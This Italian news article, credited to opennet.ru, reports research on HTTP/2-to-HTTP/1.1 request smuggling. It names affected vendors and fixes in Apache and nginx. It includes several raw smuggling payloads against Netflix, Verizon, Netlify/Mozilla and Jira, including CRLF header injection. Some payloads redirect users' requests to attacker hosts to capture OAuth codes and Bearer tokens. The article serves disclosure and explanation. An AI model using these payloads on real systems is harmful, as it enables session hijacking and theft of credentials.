I sistemi web in cui il frontend riceve connessioni tramite HTTP/2 e le trasmette al backend tramite HTTP/1.1 sono vulnerabili a una nuova variante dell'attacco "HTTP Request Smuggling". Questo attacco consente di infiltrarsi nel contenuto delle richieste di altri utenti trascinando l'invio di richieste client configurate appositamente, tutte elaborate nello stesso flusso tra frontend e backend. L'attacco può essere utilizzato per iniettare codice JavaScript malevolo in una sessione con un sito legittimo, per aggirare i sistemi di limitazione dell'accesso e per intercettare i parametri di autenticazione.
I web proxy, i bilanciatori di carico, gli acceleratori web, i sistemi di distribuzione dei contenuti e altre configurazioni in cui le richieste vengono reindirizzate secondo lo schema frontend-backend sono soggetti a questa vulnerabilità. L'autore dello studio ha dimostrato la possibilità di attacchi ai sistemi di Netflix, Verizon, Bitbucket, Netlify CDN e Atlassian, ottenendo 56.000 dollari nei programmi di bug bounty. La presenza della vulnerabilità è stata confermata anche nei prodotti di F5 Networks. Parte del problema riguarda mod_proxy nel server http Apache (CVE-2021-33193), con la correzione attesa nella versione 2.4.49 (gli sviluppatori sono stati avvisati del problema all'inizio di maggio e hanno ricevuto 3 mesi per la correzione). In nginx, la possibilità di specificare simultaneamente le intestazioni "Content-Length" e "Transfer-Encoding" è stata bloccata nell'ultima versione (1.21.1). Gli strumenti per condurre attacchi sono già stati aggiunti all'arsenale di Burp e sono disponibili sotto forma di estensione Turbo Intruder.
Il principio di funzionamento del nuovo metodo di infiltrazione delle richieste nel traffico è analogo alla vulnerabilità scoperta dallo stesso ricercatore due anni fa, ma limitata ai frontend che accettano richieste tramite HTTP/1.1. Ricordiamo che nel modello frontend-backend, le richieste dei clienti vengono accolte da un ulteriore nodo — il frontend, che stabilisce una connessione TCP persistente con il backend, responsabile dell'elaborazione diretta delle richieste. Attraverso questa connessione condivisa vengono solitamente trasmesse le richieste di diversi utenti, che seguono in sequenza uno dopo l'altro, separati dai mezzi del protocollo HTTP.
L'attacco classico "HTTP Request Smuggling" si basava sul fatto che i frontend e i backend interpretano in modo diverso l'uso degli header HTTP "Content-Length" (che definisce la dimensione totale dei dati nella richiesta) e "Transfer-Encoding: chunked" (che consente di inviare dati a pezzi). Ad esempio, se il frontend supporta solo "Content-Length", ma ignora "Transfer-Encoding: chunked", l'attaccante può inviare una richiesta in cui sono contemporaneamente presenti gli header "Content-Length" e "Transfer-Encoding: chunked", ma la dimensione in "Content-Length" non corrisponde alla dimensione della catena chunked. In questo caso, il frontend elaborerà e inoltrerà la richiesta in base a "Content-Length", mentre il backend aspetterà il completamento del blocco in base a "Transfer-Encoding: chunked", e il resto della richiesta dell'attaccante si troverà all'inizio di una richiesta estranea inviata successivamente.
A differenza del protocollo testuale HTTP/1.1, il cui parsing avviene a livello di stringa, HTTP/2 è un protocollo binario che gestisce blocchi di dati di dimensioni predefinite. In HTTP/2 vengono utilizzati pseudo-header che corrispondono agli header HTTP standard. Quando il frontend interagisce con il backend utilizzando il protocollo HTTP/1.1, trasforma questi pseudo-header in header HTTP/1.1 equivalenti. Il problema è che il backend prende decisioni sul parsing del flusso basandosi sugli header HTTP forniti dal frontend, senza avere informazioni sui parametri della richiesta originale.
Anche in forma di pseudo-intestazioni possono essere trasmessi valori "content-length" e "transfer-encoding", nonostante in HTTP/2 non vengano utilizzati, poiché la dimensione di tutti i dati è definita in un campo separato. Tuttavia, nel processo di conversione di una richiesta da HTTP/2 a HTTP/1.1, queste intestazioni vengono trasferite e possono confondere il backend. Si evidenziano due principali varianti di attacco: H2.TE e H2.CL, in cui il backend viene ingannato da un valore errato di transfer-encoding o content-length, non corrispondente alla dimensione reale del corpo della richiesta ricevuta dal frontend tramite il protocollo HTTP/2.

Un esempio di attacco H2.CL è fornito dall'indicazione di una dimensione errata nel pseudo-intestazione content-length durante l'invio di una richiesta HTTP/2 a Netflix. Questa richiesta porta all'aggiunta di un analogo header HTTP Content-Length durante l'accesso al backend tramite HTTP/1.1, ma poiché la dimensione in Content-Length è indicata come inferiore a quella reale, parte dei dati nel finale viene elaborata come inizio di una nuova richiesta.
Ad esempio, richiesta HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Porterà all'invio al backend della richiesta: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Poiché il Content-Length è 4, il backend considererà come corpo della richiesta solo "abcd", mentre il resto "GET /n HTTP/1.1..." verrà trattato come l'inizio di una richiesta successiva legata a un altro utente. Di conseguenza, ci sarà una desincronizzazione del flusso e in risposta alla richiesta successiva verrà restituito il risultato dell'elaborazione della richiesta fasulla. Nel caso di Netflix, la specifica di un host esterno nell'intestazione "Host:" nella richiesta fasulla ha portato a restituire al cliente la risposta "Location: https://02.rs?x.netflix.com/n" e ha consentito di trasmettere al cliente contenuti arbitrari, compreso l'esecuzione del proprio codice JavaScript nel contesto del sito Netflix.
Il secondo tipo di attacco (H2.TE) è legato all'inserimento dell'intestazione «Transfer-Encoding: chunked». L'uso dell'intestazione pseudo «transfer-encoding» in HTTP/2 è vietato dalla specifica, e le richieste contenenti tale intestazione devono essere considerate non valide. Nonostante ciò, alcune implementazioni frontend non rispettano questo requisito e consentono l'uso dell'intestazione pseudo «transfer-encoding» in HTTP/2, che viene convertita in un'intestazione equivalente in HTTP. Se è presente l'intestazione «Transfer-Encoding», il backend può considerarla di priorità maggiore e analizzare i dati in modalità «chunked» utilizzando blocchi di dimensioni diverse nel formato «{dimensione}\r\n{blocco}\r\n{dimensione}\r\n{blocco}\r\n0», nonostante la suddivisione iniziale per dimensione totale.
La presenza di una vulnerabilità simile è stata dimostrata con l'esempio dell'azienda Verizon. In questo caso, il problema riguardava il portale di autenticazione e sistema di gestione dei contenuti, che è utilizzato anche su siti come Huffington Post e Engadget. Ad esempio, la richiesta del cliente in HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Ha portato alla trasmissione al backend della richiesta HTTP/1.1: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10
Il backend, a sua volta, ha ignorato l'intestazione "Content-Length" e ha eseguito la suddivisione nel flusso basata su "Transfer-Encoding: chunked". In pratica, l'attacco ha consentito di reindirizzare le richieste degli utenti al proprio sito e di intercettare le richieste relative all'autenticazione OAuth, i cui parametri apparivano nell'intestazione Referer, oltre a simulare una sessione di autenticazione e avviare l'invio dei dati dell'utente al host dell'attaccante. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…
Per attaccare le implementazioni HTTP/2, che non consentono di specificare l'intestazione pseudo "transfer-encoding", è stato proposto un ulteriore metodo, relativo all'inserimento dell'intestazione "Transfer-Encoding" attraverso il suo allegamento ad altre intestazioni pseudo separate dal carattere di nuova riga (nella conversione in HTTP/1.1 in un caso simile vengono creati due intestazioni HTTP separate).
Ad esempio, il problema in questione ha colpito Atlassian Jira e Netlify CDN (utilizzato per servire la home page di Mozilla in Firefox). In particolare, la richiesta HTTP/2 :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
portava all'invio al backend di una richiesta HTTP/1.1 POST / HTTP/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 71\r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
Un'altra variante dell'inserimento dell'intestazione "Transfer-Encoding" ha comportato l'aggiunta a un altro nome di pseudo-intestazione o a una stringa con il metodo di richiesta. Ad esempio, quando si accedeva ad Atlassian Jira, il nome della pseudo-intestazione «foo: bar\r\ntransfer-encoding» con il valore «chunked» portava all'aggiunta delle intestazioni HTTP «foo: bar» e «transfer-encoding: chunked», mentre l'indicazione nella pseudo-intestazione «:method» del valore «GET / HTTP/1.1\r\nTransfer-encoding: chunked» veniva tradotta in «GET / HTTP/1.1\r\ntransfer-encoding: chunked».
Il ricercatore che ha identificato il problema ha anche suggerito una tecnica di tunneling delle richieste per effettuare un attacco sui frontend, in cui per ogni Indirizzi IP viene stabilita una connessione separata con il backend e il traffico di diversi utenti non viene mescolato. La tecnica proposta non consente di interferire con le richieste di altri utenti, ma permette di iniettare una cache condivisa, che influisce sull'elaborazione di altre richieste e consente di eseguire la sostituzione degli header HTTP interni utilizzati per trasferire informazioni operative dal frontend al backend (ad esempio, durante l'autenticazione dal lato frontend, in questi header possono essere trasmesse al backend informazioni sull'utente corrente). Come esempio dell'applicazione del metodo nella pratica, è stato possibile ottenere il controllo delle pagine nel servizio Bitbucket attraverso l'iniezione di cache.
Fonte: opennet.ru
